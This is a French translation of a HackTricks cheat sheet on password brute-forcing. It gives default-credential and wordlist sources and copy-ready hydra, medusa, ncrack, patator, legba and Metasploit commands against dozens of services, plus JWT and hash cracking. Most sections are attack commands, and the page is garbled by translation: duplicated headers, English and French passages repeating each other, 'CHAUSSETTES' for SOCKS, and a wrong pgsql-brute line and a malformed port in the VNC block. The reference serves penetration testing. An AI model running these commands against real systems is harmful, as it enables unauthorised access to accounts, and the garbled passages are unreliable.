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# Brute Force - Fiche de triche
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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Accédez dès aujourd'hui à :
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<details>
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</details>
## Identifiants par défaut
**Recherchez dans Google** les identifiants par défaut de la technologie utilisée, ou **essayez ces liens** :
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **Créez vos propres dictionnaires**
Trouvez autant d'informations que possible sur la cible et générez un dictionnaire personnalisé. Outils qui peuvent aider :
### Crunch
```bash
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
Cewl est un outil qui extrait les mots d'un site Web pour générer des listes de mots potentiellement utiles pour une attaque de force brute.
```bash
cewl example.com -m 5 -w words.txt
```
### [CUPP](https://github.com/Mebus/cupp)
Générer des mots de passe basés sur vos connaissances de la victime (noms, dates...)
```
python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
Un outil générateur de listes de mots, qui vous permet de fournir un ensemble de mots, vous donnant la possibilité de créer de multiples variations à partir des mots donnés, créant ainsi une liste de mots unique et idéale à utiliser pour un cible spécifique.
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
__ _______ _____ _______ ______ _____
\ \ / /_ _|/ ____|__ __| ____| __ \
\ \ /\ / / | | | (___ | | | |__ | |__) |
\ \/ \/ / | | \___ \ | | | __| | _ /
\ /\ / _| |_ ____) | | | | |____| | \ \
\/ \/ |_____|_____/ |_| |______|_| \_\
Version 1.0.3 Cycurity
Generating wordlist...
[########################################] 100%
Generated 67885 lines.
Finished in 0.920s.
```
### [pydictor](https://github.com/LandGrey/pydictor)
### Listes de mots
* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
* [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries)
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
* [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/)
* [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/)
* [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists)
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Services
Classés par ordre alphabétique du nom du service.
### AFP
```bash
nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run
```
### AJP
---
#### Brute Force
Brute force attacks against the AJP protocol can be carried out using tools like Hydra or Burp Suite Intruder. These tools can be used to guess usernames and passwords by systematically trying all possible combinations until the correct one is found.
---
#### Force brute
Les attaques par force brute contre le protocole AJP peuvent être effectuées à l'aide d'outils tels que Hydra ou Burp Suite Intruder. Ces outils peuvent être utilisés pour deviner des noms d'utilisateur et des mots de passe en essayant systématiquement toutes les combinaisons possibles jusqu'à ce que la bonne soit trouvée.
```bash
nmap --script ajp-brute -p 8009 <IP>
```
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
```
### Cassandra
Cassandra est un système de gestion de base de données distribuée conçu pour gérer de grandes quantités de données réparties sur de nombreux serveurs sans point de défaillance unique. Il est possible de mener des attaques de force brute contre Cassandra en essayant de deviner les identifiants d'authentification ou en essayant de casser les mots de passe des utilisateurs.
```bash
nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
```
### CouchDB
#### Brute Force
Brute force attacks are a common method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. These attacks can be automated using tools like Hydra or Medusa. It is important to use strong and unique passwords to protect against brute force attacks.
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Registre Docker
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```
### Elasticsearch
#### Brute Force
Brute force attacks are a common way to gain unauthorized access to Elasticsearch clusters. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method is effective against weak or default credentials.
#### Protection
To protect against brute force attacks, it is recommended to:
- Use strong and unique passwords for all Elasticsearch users.
- Implement account lockout policies to prevent multiple failed login attempts.
- Monitor Elasticsearch logs for any suspicious login activities.
- Consider using multi-factor authentication for an added layer of security.
By following these protection measures, you can significantly reduce the risk of unauthorized access to your Elasticsearch clusters.
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```
### FTP
#### Brute Force
Brute force attacks against FTP servers involve attempting to log in to an FTP server by systematically trying all possible passwords until the correct one is found. This method is typically used when other methods of gaining access to the server have failed.
#### Dictionary Attack
A dictionary attack is a type of brute force attack that uses a predefined list of words as potential passwords. This list can be a combination of common passwords, dictionary words, or any other set of words that the attacker believes may be used as passwords.
#### Tools
There are several tools available for conducting brute force and dictionary attacks against FTP servers, such as Hydra, Medusa, and Ncrack. These tools automate the process of trying multiple passwords, making it easier and faster for attackers to gain unauthorized access to FTP servers.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
```
### Brute Force Générique HTTP
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
### Authentification de base HTTP
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
```
### HTTP - NTLM
---
#### Brute Force
Brute force attacks are a common way to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method can be effective but is also time-consuming and resource-intensive.
#### Dictionary Attacks
Dictionary attacks are similar to brute force attacks but instead of trying all possible combinations, they use a predefined list of commonly used passwords. This method is more efficient than brute force as it reduces the number of attempts needed to find the correct password.
#### Rainbow Tables
Rainbow tables are precomputed tables used in password cracking to reverse hash functions and discover passwords from their hash values. This method can significantly speed up the password cracking process by eliminating the need to hash each possible password during the attack.
#### Credential Stuffing
Credential stuffing is a type of attack where attackers use usernames and passwords leaked from one service to gain unauthorized access to another service. This method relies on the fact that many users reuse the same credentials across multiple services.
#### Hydra
Hydra is a popular password-cracking tool that supports multiple protocols, including HTTP, SMB, FTP, and many others. It can perform brute force and dictionary attacks to crack passwords and gain unauthorized access to systems.
```bash
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
```
### HTTP - Post Form
#### Brute Force
Brute force attacks are a common method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This technique can be used to exploit weak authentication mechanisms in web applications that use HTTP POST forms to submit login credentials.
#### Protection Mechanisms
To protect against brute force attacks on HTTP POST forms, web developers can implement the following security measures:
1. **Account Lockout**: Implement a mechanism that locks user accounts after a certain number of failed login attempts to prevent further login attempts.
2. **CAPTCHA**: Integrate CAPTCHA challenges into the login process to differentiate between human users and automated scripts.
3. **Rate Limiting**: Implement rate limiting to restrict the number of login attempts from a single IP address within a specific time frame.
4. **Strong Password Policy**: Enforce strong password policies, such as minimum length requirements and complexity rules, to make it harder for attackers to guess passwords.
By implementing these protection mechanisms, web applications can significantly reduce the risk of unauthorized access through brute force attacks on HTTP POST forms.
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
```
Pour http**s** vous devez changer de "http-post-form" à "**https-post-form"**
### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle
```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP
```
### IMAP
### IMAP
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993
```
### IRC
#### Brute Force
Brute force attacks on IRC servers are usually performed using automated scripts that try to guess usernames and passwords. These scripts can be easily found online and are relatively simple to use. Attackers can also use tools like Hydra or Medusa to automate the brute force process.
#### Protection
To protect an IRC server from brute force attacks, it is recommended to:
- Implement account lockout policies after a certain number of failed login attempts.
- Use strong and complex passwords.
- Monitor login attempts and look for any suspicious activity.
- Limit the number of login attempts from a single IP address.
- Keep the IRC server software up to date to patch any known vulnerabilities.
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
```
### ISCSI
### ISCSI
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
```
### JWT
### JWT
```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
### LDAP
LDAP (Lightweight Directory Access Protocol) is a protocol used for accessing and maintaining directory services over a network. It is commonly used for authentication and storing information about users, groups, and devices in a centralized directory. LDAP servers are often targeted for brute force attacks to gain unauthorized access to sensitive information.
```bash
nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
```
### MQTT
### MQTT
```
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
```
### Mongo
```bash
nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
```
### MSSQL
### MSSQL
### MSSQL
```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
```
### MySQL
### MySQL
```bash
# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql
# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql
#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
```
### OracleSQL
#### Brute Force
Brute force attacks are commonly used to crack passwords by systematically checking all possible combinations until the correct one is found. In the context of OracleSQL, brute force attacks can be used to guess usernames and passwords to gain unauthorized access to databases.
#### Prevention
To prevent brute force attacks in OracleSQL, it is recommended to:
- Implement account lockout policies after a certain number of failed login attempts.
- Use complex and unique passwords that are difficult to guess.
- Regularly monitor and review login attempts for any suspicious activity.
- Limit the number of login attempts allowed within a specific time frame.
- Implement multi-factor authentication for an added layer of security.
By following these prevention measures, you can significantly reduce the risk of falling victim to brute force attacks in OracleSQL.
```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>
#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
```
Pour utiliser **oracle\_login** avec **patator**, vous devez **installer**:
```bash
pip3 install cx_Oracle --upgrade
```
[Bruteforce du hash OracleSQL hors ligne](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** et **11.2.0.3**) :
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
### POP
---
Brute forcing POP (Post Office Protocol) credentials involves attempting to log in to a POP server by systematically trying all possible combinations of usernames and passwords until the correct one is found. This can be achieved using tools like Hydra or Medusa, which are capable of automating the login process and trying thousands of combinations in a short amount of time. It is important to note that brute forcing is a time-consuming process and may trigger account lockouts or other security measures if done carelessly.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110
# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
```
### PostgreSQL
#### Brute Force
Brute force attacks are a common method used to gain unauthorized access to a system. In the context of PostgreSQL, a brute force attack involves repeatedly trying different username and password combinations until the correct one is found. This can be done manually or using automated tools like Hydra or Medusa.
#### Protection
To protect against brute force attacks in PostgreSQL, you can take the following measures:
1. **Use Strong Passwords**: Ensure that you and your users use strong, complex passwords that are not easily guessable.
2. **Limit Login Attempts**: Implement mechanisms to limit the number of login attempts within a certain time frame. This can help prevent attackers from trying an unlimited number of password combinations.
3. **Enable Two-Factor Authentication**: Implement two-factor authentication to add an extra layer of security to the login process.
4. **Monitor Logs**: Regularly monitor your PostgreSQL logs for any unusual login patterns or suspicious activity.
By implementing these protection measures, you can significantly reduce the risk of a successful brute force attack on your PostgreSQL database.
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
```
### PPTP
Vous pouvez télécharger le paquet `.deb` à installer depuis [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
```
### RDP
#### Brute Force
Brute force attacks are a common method used to gain unauthorized access to RDP servers. Attackers use automated tools to try all possible username and password combinations until the correct one is found. This method is effective against weak or default credentials. To protect against brute force attacks, it is recommended to use strong, complex passwords, implement account lockout policies, and use multi-factor authentication.
```bash
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
```
### Redis
Redis (Remote Dictionary Server) est un système de stockage de données en mémoire open source, utilisé comme base de données, cache et courtier de messages. Il prend en charge diverses structures de données telles que les chaînes, les hachages, les listes, les ensembles, les ensembles triés avec des opérations de manipulation de données rapides.
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
```
### Rexec
### Rexec
Rexec is a simple service that allows users to execute commands on a remote system. It is often used by administrators to manage servers and network devices. Rexec is a plaintext protocol, which means that the commands and responses are not encrypted. This makes it vulnerable to eavesdropping and man-in-the-middle attacks.
### Rexec
Rexec est un service simple qui permet aux utilisateurs d'exécuter des commandes sur un système distant. Il est souvent utilisé par les administrateurs pour gérer des serveurs et des périphériques réseau. Rexec est un protocole en texte clair, ce qui signifie que les commandes et les réponses ne sont pas cryptées. Cela le rend vulnérable à l'écoute et aux attaques de l'homme du milieu.
```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
```
### Rlogin
Rlogin est un protocole de connexion à distance qui peut être attaqué en utilisant des attaques de force brute pour deviner les mots de passe des utilisateurs. Les outils couramment utilisés pour mener des attaques de force brute contre Rlogin incluent Hydra, Medusa et Ncrack.
```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```
### Rsh
#### Brute Force
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used when other techniques have failed. It is a time-consuming process but can be effective if the key space is small.
#### Countermeasures
- Implement account lockout policies to prevent multiple login attempts.
- Use complex and long passwords to increase the key space.
- Implement multi-factor authentication to add an extra layer of security.
- Monitor login attempts for suspicious activity.
```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
### Rsync
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
```
### RTSP
### RTSP
```bash
hydra -l root -P passwords.txt <IP> rtsp
```
### SFTP
### Force brute
La force brute est une méthode d'attaque consistant à essayer toutes les combinaisons possibles de mots de passe ou de clés privées pour accéder à un système ou un service. Cette technique est souvent utilisée pour tenter de deviner des informations d'identification SFTP.
```bash
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
### SNMP
La méthode de force brute peut être utilisée pour deviner les chaînes de communauté SNMP. Les outils tels que `onesixtyone` peuvent être utilisés pour automatiser ce processus.
```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
### SMB
### SMB
Brute force attacks against SMB services are common and can be performed using tools like Hydra or Metasploit. These attacks involve trying different username and password combinations until the correct one is found. It is important to use strong and complex passwords to prevent successful brute force attacks.
```bash
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
```
### SMTP
### SMTP
```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
```
### SOCKS
### CHAUSSETTES
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
```
### SQL Server
#### Brute Force
Brute force attacks against SQL Server involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try different combinations of usernames and passwords until the correct one is found.
#### Prevention
To prevent brute force attacks against SQL Server, you can implement the following measures:
1. **Strong Password Policy**: Enforce a strong password policy that includes a combination of letters, numbers, and special characters.
2. **Account Lockout Policy**: Implement an account lockout policy that locks out an account after a certain number of failed login attempts.
3. **Multi-Factor Authentication (MFA)**: Implement MFA to add an extra layer of security to the authentication process.
4. **Limit Login Attempts**: Limit the number of login attempts allowed within a certain time period to prevent automated brute force attacks.
5. **Monitoring and Logging**: Monitor and log login attempts to detect and respond to suspicious activity.
By implementing these preventive measures, you can significantly reduce the risk of brute force attacks against your SQL Server.
```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
```
### SSH
### SSH
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
#### Clés SSH faibles / PRNG prévisible de Debian
Certains systèmes présentent des failles connues dans la graine aléatoire utilisée pour générer du matériel cryptographique. Cela peut entraîner une réduction drastique de l'espace des clés qui peut être brute-forcé avec des outils tels que [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Des ensembles de clés faibles pré-générées sont également disponibles, comme [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ et OpenMQ)
Le protocole textuel STOMP est un protocole de messagerie largement utilisé qui **permet une communication et une interaction transparentes avec des services de file d'attente de messages populaires** tels que RabbitMQ, ActiveMQ, HornetQ et OpenMQ. Il offre une approche normalisée et efficace pour échanger des messages et effectuer diverses opérations de messagerie.
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
### Telnet
Telnet est un protocole de communication utilisé pour se connecter à distance à des serveurs, routeurs et autres périphériques réseau. Il est souvent utilisé par les hackers pour effectuer des attaques de force brute en essayant de deviner les identifiants de connexion en envoyant de multiples combinaisons de noms d'utilisateur et de mots de passe.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
```
### VNC
#### Brute Force
Brute force attacks against VNC servers are common due to the protocol's lack of built-in security features. Tools like Hydra and Medusa can be used to automate the process of trying different username and password combinations until the correct one is found. It is important to use strong, complex passwords and implement other security measures to protect VNC servers from brute force attacks.
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba vnc --target localhost:5901 --password data/passwords.txt
#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```
### Winrm
Winrm (Windows Remote Management) est un protocole de gestion à distance utilisé pour l'administration des systèmes Windows. Il peut être utilisé pour exécuter des commandes à distance sur des machines Windows.
```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui à :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Local
### Bases de données de craquage en ligne
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 avec/sans ESS/SSP et avec n'importe quelle valeur de défi)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, captures WPA2, et archives MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Hashes)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
* [https://gpuhash.me/](https://gpuhash.me) (Hashes et hash de fichiers)
* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
